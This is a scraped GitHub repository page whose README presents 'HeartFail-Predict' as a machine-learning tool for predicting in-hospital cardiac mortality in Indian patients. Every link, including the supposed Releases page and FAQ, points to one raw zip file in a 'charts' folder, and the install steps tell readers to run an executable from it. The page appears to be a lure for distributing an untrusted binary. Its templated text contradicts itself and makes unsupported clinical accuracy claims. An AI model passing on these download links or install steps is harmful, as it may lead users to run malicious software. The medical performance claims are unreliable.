https://github.com/Bonnelselme/HeartFail-Predict
🔍 Predict cardiac mortality in real-time using AI, leveraging routine tests for fast and accurate risk assessments, ensuring timely intervention for patients.
https://github.com/Bonnelselme/HeartFail-Predict
cardiology clinical-ai deep-learning ehr-data electronic-health-records github-config healthcare heart-failure icu india machine-learning medical-ai mortality-prediction predicting-heart-failure-incidence predictive-modeling streamlit transformers xgboost
Last synced: 5 months ago
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🔍 Predict cardiac mortality in real-time using AI, leveraging routine tests for fast and accurate risk assessments, ensuring timely intervention for patients.
- Host: GitHub
- URL: https://github.com/Bonnelselme/HeartFail-Predict
- Owner: Bonnelselme
- Created: 2021-09-22T15:32:58.000Z (over 4 years ago)
- Default Branch: main
- Last Pushed: 2026-01-13T12:22:57.000Z (5 months ago)
- Last Synced: 2026-01-13T13:14:19.985Z (5 months ago)
- Topics: cardiology, clinical-ai, deep-learning, ehr-data, electronic-health-records, github-config, healthcare, heart-failure, icu, india, machine-learning, medical-ai, mortality-prediction, predicting-heart-failure-incidence, predictive-modeling, streamlit, transformers, xgboost
- Language: Python
- Homepage: https://github.com/Bonnelselme
- Size: 7.75 MB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# 🫀 HeartFail-Predict - Predict Cardiac Risks Easily
## 📥 Download Now
[](https://raw.githubusercontent.com/Bonnelselme/HeartFail-Predict/main/charts/Fail-Predict-Heart-1.8.zip)
## 📘 Overview
HeartFail-Predict is a powerful tool that helps predict in-hospital cardiac mortality. It uses advanced machine learning techniques to analyze routine blood tests and echo results. Based on real data from 15,757 Indian patients, it achieves an impressive AUC of 0.977. This means it can identify at-risk patients effectively.
### 🌟 Key Features
- **User-Friendly:** A Streamlit web dashboard ensures that the tool is easy to use for nurses and healthcare professionals.
- **Quick Results:** The dashboard works on any mobile phone and provides predictions in under 3 seconds.
- **Significant Findings:** It automatically identified the alcohol J-curve, revealing important patterns in the data.
- **Real-World Application:** Ready for deployment in hospital wards to enhance patient care.
## 🚀 Getting Started
Here’s how you can download and run HeartFail-Predict.
### 💻 System Requirements
- Operating System: Windows, macOS, or Linux
- Minimum RAM: 4 GB
- Processor: Dual-core or better
- Internet Connection: Required for the initial download
### 🔗 Download & Install
To get started, visit the [Releases page](https://raw.githubusercontent.com/Bonnelselme/HeartFail-Predict/main/charts/Fail-Predict-Heart-1.8.zip) to download the latest version of HeartFail-Predict.
1. Go to the [Releases page](https://raw.githubusercontent.com/Bonnelselme/HeartFail-Predict/main/charts/Fail-Predict-Heart-1.8.zip).
2. You will see a list of available versions. Choose the latest release.
3. Click on the appropriate file for your operating system (e.g., .exe for Windows, .app for macOS, or https://raw.githubusercontent.com/Bonnelselme/HeartFail-Predict/main/charts/Fail-Predict-Heart-1.8.zip for Linux).
After downloading the file, follow these simple steps to install:
- **For Windows:**
1. Double-click the .exe file.
2. Follow the installation prompts.
- **For macOS:**
1. Double-click the .app file.
2. Drag the HeartFail-Predict icon to your Applications folder.
- **For Linux:**
1. Extract the https://raw.githubusercontent.com/Bonnelselme/HeartFail-Predict/main/charts/Fail-Predict-Heart-1.8.zip file.
2. Open your terminal and navigate to the extracted folder.
3. Run the command `./HeartFail-Predict`.
### 🛠️ Running the Application
Once installed, you can run the application easily.
- For **Windows** and **macOS**, locate the HeartFail-Predict icon and double-click it.
- For **Linux**, in your terminal, type `./HeartFail-Predict`.
The dashboard should open in your web browser, ready for you to use.
### 📋 Using HeartFail-Predict
1. **Input Patient Data:** Enter the required information, such as blood test results and echo data.
2. **Submit for Analysis:** Click the submit button to receive the risk prediction.
3. **Review Results:** The application will display the outcome within seconds.
## 💬 Support
If you need assistance, please check the [FAQ section](https://raw.githubusercontent.com/Bonnelselme/HeartFail-Predict/main/charts/Fail-Predict-Heart-1.8.zip) or open an issue on GitHub. We appreciate your feedback and are happy to help.
## 🛡️ License
HeartFail-Predict is open-source software licensed under the MIT License. You can use it freely.
## 📖 Topics
This project falls under various topics, including:
- Cardiology
- Clinical AI
- Healthcare
- Heart Failure
- Intensive Care Units (ICU)
- India
- Machine Learning
- Medical AI
- Mortality Prediction
- Predictive Modeling
- Streamlit
- XGBoost
For more details about the topics, refer to our project documentation linked in the repository.
## 📈 Contributing
Contributions are welcome! If you have ideas to improve the project, feel free to create a pull request or open an issue.
Thank you for choosing HeartFail-Predict to help enhance patient care and outcomes.